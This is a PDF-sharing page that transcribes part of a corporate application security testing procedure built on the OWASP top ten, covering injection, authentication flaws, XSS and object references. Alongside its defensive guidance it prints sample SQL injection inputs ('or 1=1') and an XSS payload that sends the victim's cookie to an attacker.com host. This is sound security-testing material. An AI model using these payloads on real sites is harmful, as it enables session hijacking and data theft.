Application Security Testing Procedure T Amp Vs-Books Pdf

Application Security Testing Procedure T amp VS
11 Nov 2019 | 67 views | 0 downloads | 33 Pages | 1.61 MB

Share Pdf : Application Security Testing Procedure T Amp Vs

Download and Preview : Application Security Testing Procedure T Amp Vs


Report CopyRight/DMCA Form For : Application Security Testing Procedure T Amp Vs



Transcription

Application Security Testing Procedure, Table of contents. Purpose of this document 3, Introduction 3, What is Application Security Testing 3. Basic Principles 3, Why do Application Security Testing 4. Top Ten Application Security Risks at My Organisation 5. 1 Injection 7, 1 1 What is SQL Injection 7, 1 2 Is My Organisation Vulnerable To Injection 9. 1 3 How Do we Defend My Organisation systems from Injection 9. 1 4 Injection Examples for Testing My Organisation applications 9. 2 Broken Authentication and Session Management 10. 2 1 What is Broken Authentication and Session Management 10. 2 2 Is My Organisation vulnerable to Broken Authentication and Session Management 10. 2 3 Broken Authentication and Session Management Examples 11. 2 4 Testing and Defences 11, 3 Cross Site Scripting XSS 12.
3 1 What is XSS 12, 3 2 Is My Organisation Vulnerable To XSS 13. 3 3 XSS Example 14, 3 4 Testing and Defences 14, 4 Insecure Direct Object References 15. 4 1 What are Insecure Direct Object References 15. 4 2 Is My Organisation vulnerable to Insecure Direct Object References 16. 4 3 Insecure Direct Object References Examples 16. 4 4 Testing and Defences for Insecure Direct Object References 16. 5 Application Security Misconfiguration 17, 5 1 What is Application Security Misconfiguration 17. 5 2 Is My Organisation vulnerable to Application Security Misconfiguration 17. 5 3 Application Security Misconfiguration Examples 18. 5 4 Testing and Defences for Application Security Misconfiguration 18. 6 Sensitive Data Exposure 20, 6 1 What is Sensitive Data Exposure 20. 6 2 Is My Organisation vulnerable to Sensitive Data Exposure 20. 6 3 Sensitive Data Exposure Examples 21, 6 4 Testing and defences for Sensitive Data Exposure 21.
7 Missing Function Level Access Control 23, 7 1 What is Missing Function Level Access Control 23. 7 2 Is My Organisation vulnerable to Missing Function Level Access Control 23. 7 3 Examples of Missing Function Level Access Control 24. Page 2 Copyright Test and Verification Solutions Ltd 2014. Application Security Testing Procedure, 7 4 Testing and defences for Missing Function Level Access Control 24. 8 Cross Site Request Forgery CSRF 25,8 1 What is Cross Site Request Forgery 25. 8 2 Is My Organisation vulnerable to Cross Site Request Forgery 26. 8 3 Cross Site Request Forgery Example 27, 8 4 Testing and Defences for Cross Site Request Forgery 27. 9 Using Components with Known Vulnerabilities 28,9 1 What are Known Vulnerable Components 28.
9 2 Is My Organisation vulnerable to Using Components with Known Vulnerabilities 28. 9 3 Examples of Using Components with Known Vulnerabilities 29. 9 4 Testing and Defences for Using Components with Known Vulnerabilities 29. 10 Un validated Redirects and Forwards 30, 10 1 What are Un validated Redirects and Forwards 30. 10 2 Is My Organisation vulnerable to Un validated Redirects and Forwards 30. 10 3 Examples of Un validated Redirects and Forwards 30. 10 4 Testing and Defences for Un validated Redirects and Forwards 31. 11 About This Document 32,11 1 Referenced documents 32. 11 2 Document history 32,Purpose of this document, The purpose of this document is to set out the guidelines for application security testing on any project. developed or adopted by My Organisation These guidelines may be customised for specific projects and. used to apply application security principles to the design build and test activities especially when. complemented with the corresponding Application Security Development Guidelines This document. outlines the following , Relationship with the My Organisation Test Strategy . Top ten security risks at My Organisation , Explanations of how to test the top ten application security risks .
Introduction, This document outlines the application security testing that will be conducted on all My Organisation Web . Application projects It describes the general testing framework and the techniques required to implement. Application Security in practice The testing is expected to be conducted at all Test Levels Component . System Acceptance Maintenance over several test iterations and includes both dynamic test execution. and static testing of designs specifications and code . What is Application Security Testing ,Basic Principles. An effective development Application Security Testing program should have components that test People. to ensure that there is adequate education and awareness Process to ensure that there are adequate. Copyright Test and Verification Solutions Ltd 2014 Page 3. Application Security Testing Procedure, policies and standards and that people know how to follow these policies and Technology to ensure. that the process has been effective in its implementation Well implemented Application Security Testing. is an integrated part of the software development lifecycle and does not simply focus on penetration. testing There are several principles to adopt , There are no Silver Bullets Security is a process not a software tool . Think strategically not tactically A patch and penetrate model that does not investigate root causes. allows windows of vulnerability to exist between the discovery of security flaws and the installation of. effective patches in all affected systems , The SDLC is King Integrating security with each phase of the SDLC allows for a holistic approach.
to application security that leverages the procedures already in place within the organization Each. phase has security considerations that should become part of the existing process to ensure a cost . effective and comprehensive security program , Test Early and Test Often When a bug is detected early within the SDLC it can be addressed more. easily and at a lower cost A security bug is no different from a functional or performance based bug. in this regard A key step in making this possible is to educate the Development and Quality Control. areas about common security issues and the ways to detect and prevent them . Understand the Scope of Security It is important to know how much application security a given. project will require The information and assets that are to be protected should be given a classification. that states how they are to be handled e g Confidential Secret Top Secret . Develop the Right Mind set Good application security testing requires going beyond what is. expected Think like an attacker who is trying to break the application . Understand the Subject The architecture data flow diagrams use cases and more should be. written in formal documents and made available for review The technical specification and. application documents should include information that lists not only the desired use cases but also. any specifically disallowed use case , Use the Right Tools While there is no silver bullet tool tools do play a critical role in the overall. application security program There are a range of open source and commercial tools that can. automate many routine security tasks These tools can simplify and speed up the security process. by assisting security personnel in their tasks It is important to understand exactly what these tools. can and cannot do and that they are not oversold or used incorrectly . The Devil is in the Details It is critical not to perform a superficial security review of an application. and consider it complete because this will install a false sense of confidence . Use Source Code When Available While black box penetration test results can be impressive and. useful to demonstrate how vulnerabilities are exposed in production they are not the most effective. way to secure an application If the source code for the application is available it should be used to. assist the testing , Develop Useful Metrics and communicate your story An important part of a good application. development security program is the ability to determine if things are getting better and inform. interested parties on your progress , Why do Application Security Testing . Application Security Testing is a Test Type defined within the My Organisation Test Strategy It should. be conducted in addition to all other Test Types identified as in scope for each project If we do not test. Page 4 Copyright Test and Verification Solutions Ltd 2014. Application Security Testing Procedure, for security vulnerabilities developers may consider security aspects unimportant and vulnerabilities will.
not be exposed until late or too late in the SDLC . When Sir Tim Berners Lee invented the World Wide Web www in 1990 HTTP was intended to display. static pages for academics and included almost no intrinsic security Despite security features being. bolted on as afterthoughts the Web still contains serious vulnerabilities in many crucial areas as shown. in the diagram below ,Source OWASP, For every application vulnerability that has been recognised to date i e excluding some new zero day. attacks there are corresponding defences which must be applied . Application Security Testing leverages the appliance of appropriate vulnerability defences by designers. and developers who might otherwise concentrate their efforts on other functional and non functional. requirements that are traditionally tested It should not be delayed until the end of the Systems. Development Lifecycle since any vulnerability identified may require substantial re engineering and. postponing the launch date or risking a live launch with known security flaws to be fixed at a later date . Remember Security Test Early Test Often and the SDLC is King . Top Ten Application Security Risks at My Organisation. There are hundreds of issues that could affect the overall security of the My Organisation web applications . Consider this list for comprehensive web application security testing ideas . https www owasp org index php Web Application Security Testing. The following list identifies the 2013 top ten generic application security risks as identified by the Open. Web Application Security Project OWASP not the most common weaknesses The Risks are a. combination of Threat Agents Attack Vectors Security Weaknesses Security Controls Technical Impacts. and Business Impacts , Copyright Test and Verification Solutions Ltd 2014 Page 5. Application Security Testing Procedure, Source OWASP. Injection scores highly because it is easy to find an attack vector the security weakness is common and. the technical impact can be severe Cross site scripting XSS security weaknesses and poor controls are. very widespread but the attack vector is less easy to exploit than Injection and therefore XSS scores as. only the third greatest risk , The factors listed above differ from one organisation to another and change over time My Organisation. application security risks will be re assessed on an annual basis The current world wide top ten application. security vulnerabilities are , 1 Injection, 2 Broken Authentication and Session Management.
3 Cross Site Scripting XSS , 4 Insecure Direct Object References. 5 Security Misconfiguration, 6 Sensitive Data Exposure. 7 Missing Function Level Access Control, 8 Cross Site Request Forgery CSRF . 9 Using Components with Known Vulnerabilities, 10 Un validated Redirects and Forwards . These vulnerabilities are explained in the following sections . Page 6 Copyright Test and Verification Solutions Ltd 2014. Application Security Testing Procedure,1 Injection.
1 1 What is SQL Injection , An SQL injection is often used to attack the security of a website by inputting SQL statements in a web. form to get a poorly designed website to perform operations on the database often to dump the database. content to the attacker other than the usual operations as intended by the designer SQL injection is a. code injection technique that exploits security vulnerability in a website s software . The vulnerability happens when user input is either incorrectly filtered for string literal escape characters. embedded in SQL statements or user input is not strongly typed and unexpectedly executed SQL. commands are thus injected from the web form into the database of an application like queries to. change the database content or dump the database information to the attacker . SQL injection is the most common attack vector for websites and is used to attack any type of SQL. including Oracle database It is very easy to attempt because websites present a surface area with. opportunities for injection attempts in every data entry field including the Search field and URL itself . Example 1 The application uses untrusted data in the following vulnerable login authentication where. special characters switch the interpreter from data entry mode to injecting and executing the code. OR 1 1 which is always true and therefore treated as a valid username . Example 2 The application uses untrusted data in the construction of the following vulnerable SQL call . String query SELECT FROM accounts WHERE custID request getParameter id . The attacker modifies the id parameter in their browser to send or 1 1 This changes the meaning. of the query to return all the records from the accounts database instead of only the intended. customer s , http example com app accountView id or 1 1. In the worst case the attacker uses this weakness to invoke special stored procedures in the database . allowing a complete takeover of the database host . There are many types of SQL injection attack as shown in the following table which classifies the attackers . Intent Identifying injectable parameters extracting data adding or modifying data denial of service . evading detection bypassing authentication executing remote commands and privilege escalation . Input Sources user input cookies server variables and second order stored instead of executed. immediately injection and Types of attack classic inference carrying out a series of Boolean queries to. Copyright Test and Verification Solutions Ltd 2014 Page 7. Application Security Testing Procedure, the server observing the answers and finally deducing the meaning of such answers DBMS specific and. compounded combined with other attacks such as XSS injection . Source KDeltchev Wikipedia, Page 8 Copyright Test and Verification Solutions Ltd 2014. Application Security Testing Procedure,1 2 Is My Organisation Vulnerable To Injection .
The best way to find out if an application is vulnerable to injection is to verify that all use of interpreters. clearly separates untrusted data from the command or query For SQL calls this means using bind variables. in all prepared statements and stored procedures and avoiding dynamic queries . Checking the code is a fast and accurate way to see if the application uses interpreters safely Code analysis. tools can help find the use of interpreters and trace the data flow through the application Manual. penetration tests can confirm these issues by crafting exploits that confirm the vulnerability . Automated dynamic scanning which exercises the application may provide insight into whether some. exploitable injection problems exist Scanners cannot always reach interpreters and can have difficulty. detecting whether an attack was successful , Source OWASP. 1 3 How Do we Defend My Organisation systems from Injection . Preventing injection requires keeping untrusted data separate from commands and queries . The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a. parameterized interface Prepared Statements Parameterized Queries allow the database to distinguish. between code and data regardless of what user input is supplied Prepared statements ensure that an. attacker is not able to change the intent of a query even if SQL commands are inserted . Another option is to store all the SQL code in the database itself and call it from the application by using. Stored Procedures which do not include any unsafe dynamic SQL generation . Beware of APIs such as stored procedures that appear parameterized but may still allow injection under. the hood If a parameterized API is not available you should carefully escape special characters using the. specific escape syntax for that interpreter In any case minimize the privileges assigned to every database. account in your environment , Positive or whitelist input validation with appropriate canonicalization also helps protect against. injection but is not a complete defence as many applications require special characters in their input . 1 4 Injection Examples for Testing My Organisation applications . Below are links to Injection statements that may be used by any tester to investigate if an application is. vulnerable to injection by an attacker , http pentestmonkey net cheat sheet sql injection oracle sql injection cheat sheet. http pentestlab wordpress com 2012 12 24 sql injection authentication bypass cheat sheet . Copyright Test and Verification Solutions Ltd 2014 Page 9. Application Security Testing Procedure, http www sqlinjectionwiki com Categories aspx catId 2. The lists are not comprehensive and if no unusual responses are received it does not guarantee the site. has no injection vulnerabilities The most effective test is to verify the defences described in section 1 3. are in place These are described in greater detail in the corresponding Application Security Development. Guidelines document ,2 Broken Authentication and Session Management.
2 1 What is Broken Authentication and Session Management. Anonymous external attackers as well as users with their own accounts may attempt to steal accounts. from others or to disguise their actions The attacker uses leaks or flaws in the authentication or session. management functions e g exposed accounts passwords session IDs to impersonate users Developers. frequently build custom authentication and session management schemes but building these correctly is. hard As a result these custom schemes frequently have flaws in areas such as logout password. management time outs remember me secret question account update etc . 2 2 Is My Organisation vulnerable to Broken Authentication and Session. Management, The primary assets to protect are credentials and session IDs . 1 Are credentials always protected when stored using hashing or encryption . 2 Can credentials be guessed or overwritten through weak account management functions e g . account creation change password recover password weak session IDs . 3 Are session IDs exposed in the URL e g URL rewriting . 4 Are session IDs vulnerable to session fixation attacks . 5 Do session IDs timeout and can users log out , 6 Are session IDs rotated after successful login . 7 Are passwords session IDs and other credentials sent only over TLS connections . Source OWASP, Page 10 Copyright Test and Verification Solutions Ltd 2014. Application Security Testing Procedure, 2 3 Broken Authentication and Session Management Examples . Scenario 1 An application supports URL rewriting putting session IDs in the URL . http example com sale saleitems , jsessionid 2P0OC2JDPXM0OQSNDLPSKHCJUN2JV.
dest London, An authenticated user of the site wants to let others know about it He e mails the above link without. knowing he is also giving away his session ID When his friends use the link they will use his session and. credit card , Scenario 2 Application s timeouts aren t set properly A public computer is used to access a website . Instead of selecting logout the user simply closes the browser tab and walks away An attacker uses the. same browser an hour later and that browser is still authenticated for the website used earlier . Scenario 3 An insider or external attacker gains access to the system s password database The user. passwords are not encrypted exposing every user s passwords to the attacker . Such flaws may allow some or even all accounts to be attacked Once successful the attacker can do. anything the victim could do Privileged accounts are frequently targeted . 2 4 Testing and Defences, Authentication is the act of establishing or confirming something or someone as authentic and that. claims made by or about the thing are true Authenticating an object may mean confirming its. provenance whereas authenticating a person often consists of verifying his or her identity . Authentication depends upon one or more authentication factors In computer security authentication. is the process of attempting to verify the digital identity of the sender of a communication A common. example of such a process is the logon process Testing the authentication schema means understanding. how the authentication process works and using that information to circumvent the authentication. mechanism The following list provides descriptions and links to guide testers through authentication. testing , Credentials transport over an encrypted channel OWASP AT 001 . Here the tester will just try to understand if the data that users put into the web form in order to log. into a web site are transmitted using secure protocols that protect them from an attacker or not . Testing for user enumeration OWASP AT 002 , The scope of this test is to verify if it is possible to collect a set of valid users by interacting with the.
authentication mechanism of the application This test will be useful for the brute force testing in which. we verify if given a valid username it is possible to find the corresponding password . Testing for Guessable Dictionary User Account OWASP AT 003 . Test if there are default user accounts or guessable username password combinations dictionary. testing , Brute Force Testing OWASP AT 004 , When a dictionary type attack fails a tester can attempt to use brute force methods to gain. authentication Brute force testing is not easy to accomplish for testers because of the time required and. the possible lockout of the tester , Testing for bypassing authentication schema OWASP AT 005 . Other passive testing methods attempt to bypass the authentication schema by recognizing that not all. of the application s resources are adequately protected The tester can access these resources without. authentication , Testing for vulnerable remember password and password reset OWASP AT 006 . Copyright Test and Verification Solutions Ltd 2014 Page 11. Application Security Testing Procedure, Test how the application manages the process of password forgotten and whether the application allows. the user to store the password in the browser remember password function . Testing for Logout and Browser Cache Management OWASP AT 007 . Test the logout and caching functions are properly implemented . Testing for CAPTCHA OWASP AT 008 , CAPTCHA Completely Automated Public Turing test to tell Computers and Humans Apart is a type of.
challenge response test used by many web applications to ensure that the response is not generated by. a computer CAPTCHA implementations are often vulnerable to various kinds of attacks even if the. generated CAPTCHA is unbreakable This section will help you to identify these kinds of attacks . Testing Multiple Factors Authentication OWASP AT 009 . Multiple Factors Authentication means to test the following scenarios One time password OTP . generator tokens Crypto devices like USB tokens or smart cards equipped with X 509 certificates . Random OTP sent via SMS Personal information that only the legitimate user is supposed to know . Testing for Race Conditions OWASP AT 010 , A race condition is a flaw that produces an unexpected result when timing of actions impact other actions . An example may be seen on a multithreaded application where actions are being performed on the same. data Race conditions by their very nature are difficult to test for . 3 Cross Site Scripting XSS ,3 1 What is XSS , Cross Site Scripting XSS attacks are a type of injection problem in which malicious scripts are injected. into the otherwise benign and trusted web sites Cross site scripting attacks occur when an attacker uses. a web application to send malicious code generally in the form of a browser side script to a different. end user Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web. application uses input from a user in the output it generates without validating or encoding it . Source Acunetix, Page 12 Copyright Test and Verification Solutions Ltd 2014. Application Security Testing Procedure, An attacker can use XSS to send a malicious script to an unsuspecting user by exploiting the trust the. victims browser has in a website even when downloads are infected by malicious code The end user s. browser has no way to know that the script should not be trusted and will execute the script Because. it thinks the script came from a trusted source the malicious script can access any cookies session. tokens or other sensitive information retained by your browser and used with that site These scripts. can even rewrite the content of the HTML page , Cross Site Scripting XSS attacks occur when .
1 Data enters a Web application through an untrusted source most frequently a web request . 2 The data is included in dynamic content that is sent to a web user without being validated for. malicious code , The malicious content sent to the web browser often takes the form of a segment of JavaScript but may. also include HTML Flash or any other type of code that the browser may execute The variety of attacks. based on XSS is almost limitless but they commonly include transmitting private data like cookies or. other session information to the attacker redirecting the victim to web content controlled by the. attacker or performing other malicious operations on the user s machine under the guise of the. vulnerable site ,3 2 Is My Organisation Vulnerable To XSS . Anyone who can send untrusted data to My Organisation systems including external users internal users . and administrators is a threat agent Almost any source of data can be an attack vector including internal. sources such as data from the database , XSS is the most prevalent web application security flaw XSS flaws occur when an application includes user. supplied data in a page sent to the browser without properly validating or escaping that content There. are three known types of XSS flaws , 1 Stored A K A Persistent Stored attacks are those where the injected code is permanently stored. on the target servers such as in a database in a message forum visitor log comment field etc . The victim then retrieves the malicious script from the server when it requests the stored. information , 2 Reflected Reflected attacks are those where the injected code is reflected off the web server .
such as in an error message search result or any other response that includes some or all of the. input sent to the server as part of the request Reflected attacks are delivered to victims via. another route such as in an e mail message or on some other web server When a user is tricked. into clicking on a malicious link or submitting a specially crafted form the injected code travels to. the vulnerable web server which reflects the attack back to the user s browser The browser then. executes the code because it came from a trusted server . 3 DOM Document Object Model based XSS DOM Based XSS or as it is called in some texts type . 0 XSS is an XSS attack wherein the attack payload is executed as a result of modifying the DOM. environment in the victim s browser used by the original client side script so that the client side. code runs in an unexpected manner That is the page itself the HTTP response that is does not. change but the client side code contained in the page executes differently due to the malicious. modifications that have occurred in the DOM environment This is in contrast to other XSS attacks. stored or reflected wherein the attack payload is placed in the response page due to a server. side flaw , Copyright Test and Verification Solutions Ltd 2014 Page 13. Application Security Testing Procedure, Source OWASP. 3 3 XSS Example , The application uses untrusted data in the construction of the following HTML snippet without validation. or escaping , String page input name creditcard type TEXT value request getParameter CC . The attacker modifies the CC parameter in their browser to . script document location http www attacker com cgibin cookie cgi foo document cookie script. , This causes the victim s session ID to be sent to the attacker s website allowing the attacker to hijack.
the user s current session Note that attackers can also use XSS to defeat any automated CSRF Cross . Site Request Forgery defence the application might employ . 3 4 Testing and Defences, Both static and dynamic tools can find some XSS problems automatically However each application builds. output pages differently and uses different browser side interpreters such as JavaScript ActiveX Flash . and Silverlight which makes automated detection difficult Therefore complete coverage requires a. combination of manual code review and manual penetration testing in addition to any automated. approaches in use , Here are useful tips for testing XSS . https www owasp org index php Testing for Stored Cross site scripting OWASP DV 002 . https www owasp org index php Testing for Reflected Cross site scripting OWASP DV 001 . https www owasp org index php Testing for DOM based Cross site scripting OWASP DV 003 . https www owasp org index php XSS Filter Evasion Cheat Sheet. To defend against XSS ensure that all user supplied input sent back to the browser is verified to be safe. via input validation and that user input is properly escaped before it is included in the output page . Proper output encoding ensures that such input is always treated as text in the browser rather than active. content that might get executed , Preventing XSS requires keeping untrusted data separate from active browser content The preferred. option is to properly escape all untrusted data based on the HTML context body attribute JavaScript . Page 14 Copyright Test and Verification Solutions Ltd 2014. Application Security Testing Procedure, CSS or URL that the data will be placed into Developers need to include this escaping in their applications. unless their UI framework does this for them , See the OWASP XSS Prevention Cheat Sheet for more information about data escaping techniques .
Alternatively use the Application Security Development Guidelines to understand the prevention rules . Rule 0 Never Insert Untrusted Data Except in Allowed Locations . Rule 1 HTML Escape Before Inserting Untrusted Data into HTML Element Content . Rule 2 Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes . Rule 3 JavaScript Escape Before Inserting Untrusted Data into JavaScript Data Values . Rule 3 1 HTML escape JSON values in an HTML context and read the data with JSON parse . JSON entity encoding, HTML entity encoding, Rule 4 CSS Escape And Strictly Validate Before Inserting Untrusted Data into HTML Style Property Values . Rule 5 URL Escape Before Inserting Untrusted Data into HTML URL Parameter Values . Rule 6 Sanitize HTML Markup with a Library Designed for the Job . Rule 7 Prevent DOM based XSS , Bonus Rule 1 Use HTTPOnly cookie flag. Bonus Rule 2 Implement Content Security Policy,4 Insecure Direct Object References. 4 1 What are Insecure Direct Object References , Applications frequently use the actual name or key of an object when generating web pages Applications. don t always verify the user is authorized for the target object This results in an insecure direct object. reference flaw An attacker who is an authorized system user simply changes a parameter value that. directly refers to a system object to another object the user isn t authorized for If access is granted such. flaws can compromise all the data that can be referenced by the parameter Vertical escalation of privilege. is possible if the user controlled key is actually a flag that indicates administrator status allowing the. attacker to gain administrative access , Many file operations are intended to take place within a restricted directory By using special elements.
such as and separators attackers can escape outside of the restricted location to access files or. directories that are elsewhere on the system One of the most common special elements is the . sequence which in most modern operating systems is interpreted as the parent directory of the current. location This is referred to as relative path traversal Path traversal also covers the use of absolute. pathnames such as usr local bin which may also be useful in accessing unexpected files This is referred. to as absolute path traversal , In many programming languages the injection of a null byte the 0 or NUL may allow an attacker to. truncate a generated filename to widen the scope of attack For example the software may add txt to. any pathname thus limiting the attacker to text files but a null injection may effectively remove this. restriction , Copyright Test and Verification Solutions Ltd 2014 Page 15.

Related Books

Dwight Lewis Co., Inc. - Home - Miller Wood Trade

Dwight Lewis Co Inc Home Miller Wood Trade

focus on the challenging wood turning business, thus ... Martin Deschenes, ... Calif.; and Wayne Miller, National Hardwood Magazine, Memphis, Tenn.

L7: Memory Basics and Timing - MIT OpenCourseWare

L7 Memory Basics and Timing MIT OpenCourseWare

L7: 6.111 Spring 2006 Introductory Digital Systems Laboratory 1 L7: Memory Basics and Timing Acknowledgements: Nathan Ickes J. Rabaey, A. Chandrakasan, B. Nikolic. Digital Integrated Circuits: A Design Perspective. Materials in this lecture are courtesy of the following sources and are used with permission. Prentice Hall/Pearson, 2003. Rex Min Yun Wu. L7: 6.111 Spring 2006 Introductory Digital ...

October Demo: Pen Turning in Living Color with Bill Mellberg

October Demo Pen Turning in Living Color with Bill Mellberg

October Demo: Pen Turning in Living Color with ... Employed by Lockheed Martin in Sunnyvale as a Materials and Process Engineer, ... Wayne Shipman Wayne.shipman@ ...

THE TURNING TIMES - East Texas Woodturners

THE TURNING TIMES East Texas Woodturners

for the next two years and Wayne Smith will be Vice-President. ... Team coordinated by Pat Martin. I ... Wood Turning Blanks, ...

Readers*please**note - Front Range Woodturners

Readers please note Front Range Woodturners

2 60 Feature Melbourne*Wood*Show ... 4 48 Feature The*work*of*Charles*&*Tami*Kegley,*and*Wayne ... 26 62 Feature High*technology*turning*in*Japan Terry*Martin

Polymer Clay Blanks - content.penturners.org

Polymer Clay Blanks content penturners org

Polymer Clay Blanks . ... Polymer Clay and how we prepare Polymer Clay blanks for turning. ... wayne Created Date:

2016-17 Academic Department Annual Report

2016 17 Academic Department Annual Report

2016-17 Academic Department Annual Report Academic Department: Biological Sciences Document Prepared By: Tim Hoving . Annual Report Submission Instructions: This Annual Report of your Academic Department is intended to serve as a summary of departmental activities over the past year and as an outline of plans for the upcoming year.

CONSULTATIVE PAPER PENDEKATAN STANDAR UNTUK COUNTERPARTY ...

CONSULTATIVE PAPER PENDEKATAN STANDAR UNTUK COUNTERPARTY

Exposure at Default dalam SA = EAD = alpha * (RC + PFE) dimana alpha sama dengan 1.4. Bagian dari PFE terdiri dari multiplier yang memungkinkan pengakuan jaminan yang berlebih secara parsial dan aggregate add-on, yang berasal dari add-ons untuk setiap kelas aset (yaitu suku bunga, valuta asing dan kredit)1. 2.2 Metodologi untuk menghitung add-ons untuk setiap kelas aset bergantung pada konsep ...

The Biopsychosocial Model in Psychiatry: A Critique

The Biopsychosocial Model in Psychiatry A Critique

The Biopsychosocial Model in Psychiatry: A Critique S. Nassir Ghaemi Tufts Medical Center nghaemi@tuftsmedicalcenter.org Abstract: In the United States, the basic concepts of psychiatry have involved the opposing dogmatisms of psychoanalytic orthodoxy and biological reductionism. An alternative basic conceptual scheme, the biopsychosocial model (BPS), arose in the last decade and now ...

Interpretations of modernity and the problem of world-making

Interpretations of modernity and the problem of world making

Social and political ontology Rethinking modernity The current condition of modernity Bibliographic references . Interpretations of modernity and the problem of world-making Papers 2015, 100/3 269 which the economic organization of Soviet socialism could not keep up with. In other words, the prevalent image was the one of an emerging singular world, united by globally extended socio-economic ...